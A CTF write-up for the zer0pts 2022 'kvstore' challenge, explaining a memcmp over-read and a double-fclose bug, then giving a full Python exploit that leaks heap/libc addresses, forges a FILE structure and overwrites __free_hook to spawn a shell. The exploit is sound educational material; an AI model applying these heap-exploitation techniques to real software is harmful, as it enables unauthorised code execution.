# kvstore - zer0pts CTF 2022
###### tags: `zer0pts CTF 2022` `pwn`
Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9

## Overview
Full protection

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The program manages a linked list where the user can store string-double pair in the database.

## Bugs

### Buffer Over-read
The first vulnerability, not obvious though, exists in `item_lookup`.

Item *item_lookup(const char *key, size_t keylen) {
  for (Item *cur = top; cur != NULL; cur = cur->next) {
    if (memcmp(key, cur->key, keylen) == 0)
      return cur; /* Found item */
  }
  return NULL; /* Item not found */
}

`memcmp` is such a weird function. It compares two memory region but only accepts one size. This may cause a buffer over-read easily.
One must compare the size before calling `memcmp`!
You can leak data on the heap by comparing out-of-bounds byte by byte.

### Double fclose
The following code is invalid because the program may keep working even after `fclose` is called.

      default: { /* exit */
        char ans;
        fclose(fp);

        if (!is_saved) {
          /* Ask when list is not saved */
          puts("The latest item list has not been saved yet.");
          puts("Would you like to discard the changes? [y/N]");
          scanf("%c%*c", &ans);
          if (ans != 'y' && ans != 'Y')
            break;
        }

        puts("Bye (^o^)ﾉｼ");
        return 0;
      }

What would happen if we call `fclose` twice?
In short, `fclose` frees the temporary buffer for reading/writing file contents and the FILE structure itself.

So, if we call `fclose` twice, it will cause double-free. However, the size of FILE structure is small enough and it will be linked to tcache once it gets freed. Tcache introduced double-free detection mechanism and we can't simply free it twice.
You can bypass the detection in several ways but the general approach is either of the following:

- Link one into tcache, another into smallbin
- Overwrite tcache key by Use-after-Free

The first option is unavailable in this challenge because you cannot allocate a chunk of the same size as the FILE structure. The second option works in this challenge.
If you try to call `fwrite` with a closed FILE, it recognizes the FILE needs to be initialized and reset the FILE structure. The tcache key is overwritten by `fwrite` so tcache can no longer detect double-free if you call `fclose` after `fwrite`.

### AAF: Arbitrary Address Free Primitive
You can use this fact to free the FILE structure multiple times. It will get linked to unsortedbin if you free it 7 times. Then we can move it to smallbin.

After that, if we allocate a relatively small chunk, the freed FILE structure currently linked to smallbin will be used. So, we gain a primitive to create a fake FILE structure because we still can call `fclose`.
However, FILE structure exploit is no longer available in libc-2.31. How can we exploit it?

The FILE strcture has a pointer to a buffer to keep the part of the file contents to be read/written. This buffer is freed when `fclose` is called. This means we can free arbitrary address if we put a fake pointer there.

Once you get this primitive, it's quite easy to get the shell!

## Exploit

import os
from ptrlib import *

HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "9005")

def add(key, value):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("Key: ", key)
    sock.sendlineafter("Value: ", str(value))
def get(key):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter("Key: ", key)
    return sock.recvline() != b'Item not found'
def delete(key):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("Key: ", key)
def save():
    sock.sendlineafter("> ", "4")
def fclose():
    sock.sendlineafter("> ", "5")
    sock.sendlineafter("[y/N]\n", "n")

libc = ELF("../distfiles/libc-2.31.so")
sock = Socket(HOST, int(PORT))

"""
1. Leak heap/libc address
"""
# (a) Leak heap address
add("B", 3.14)
payload  = b'B' + b'\0'*0x77
payload += p64(0x21)
leak = b''
for r in [[0x80],range(256),range(256),range(256),range(256),[0x55,0x56]]:
    for c in r:
        if not is_getline_safe(chr(c)):
            continue
        if get(payload + leak + bytes([c])):
            logger.info(f"Found: 0x{c:02x}")
            leak += bytes([c])
            break
    else:
        logger.warn("Bad luck!")
        exit(1)
heap_base = u64(leak) - 0x480
logger.info("heap = " + hex(heap_base))

# (b) Leak libc address
add("X"*0x80, 3.14)
add("Y", 3.14)
add(b"Z"*0x6f8+p64(0x501), 3.14) # fake chunk [Z] to free later
delete("X"*0x80)
delete(b"Z"*0x6f8+p64(0x501))
payload  = b'Y' + b'\0'*0x77
payload += p64(0x21)
payload += p64(heap_base + 0xd40) + p64(3.14)
payload += p64(heap_base + 0x500) + p64(0x791)
leak = b''
for r in [[(libc.main_arena() + 0x530) & 0xff], range(256),
          range(256), range(256), range(256), [0x7f]]:
    for c in r:
        if not is_getline_safe(chr(c)):
            continue
        if get(payload + leak + bytes([c])):
            logger.info(f"Found: 0x{c:02x}")
            leak += bytes([c])
            break
    else:
        logger.warn("Bad luck!")
        exit(1)
libc_base = u64(leak) - libc.main_arena() - 0x530
libc.set_base(libc_base)
add("A"*0x80, 3.14)

"""
2. Get Arbitrary-Address-Free Primitive
"""
## (a) fill tcache for 0x1e0
## (I'm not good at heap stuff. Probably there are some better ways.)
# 1
fclose()
save()
add("nya", 3.14)
delete("nya")
# 2
fclose()
add("0"*0x400, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 3
fclose()
add("0"*0x400, 3.14)
add("0"*0x400, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 4
fclose()
add("0"*0x1000, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 5
fclose()
add("0"*0x1000, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 6
fclose()
add("0"*0x1000, 3.14)
save()
add("nya", 3.14)
delete("nya")
# 7
fclose()
add("0"*0x1000, 3.14)
save()
add("nya", 3.14)
delete("nya")
# unsortedbin
fclose()
# link ^ to smallbin
add("1"*0x1e0, 3.14)
delete("1"*0x1e0)

## (b) Overwrite FILE structure
target = heap_base + 0x1c90 # where to free
payload = flat([
    0xfbad2488, target, # 0x00
    target, target,
    target, target,
    target, target,
    target, 0,
    0, 0,
    0, libc.symbol('_IO_2_1_stderr_'),
    3, 0,
    0, heap_base + 0x290 + 0xf0, # 0x80
    -1, 0,
    heap_base + 0x290 + 0x100, 0,
    0, 0,
    -1, 0,
    0, libc_base + 0x1e94a0 # _IO_file_jumps
], map=p64)
add(payload, 3.14)
fclose() # free [Z]

"""
3. tcache poisoning
"""
delete(p64(heap_base + 0x3d50))
payload  = b"R"*0x88 + p64(0x21)
payload += p64(libc.symbol("__free_hook") - 8)
payload += b"R"*0x50
payload += p64(0x21)
payload += p64(heap_base) + p64(1.23)
payload += p64(0) + b'\x21'
get(payload)
add("S", 3.14)
add("T", u64(p64(libc.symbol("system")), type=float))

## win!
delete("/bin/sh")

sock.interactive()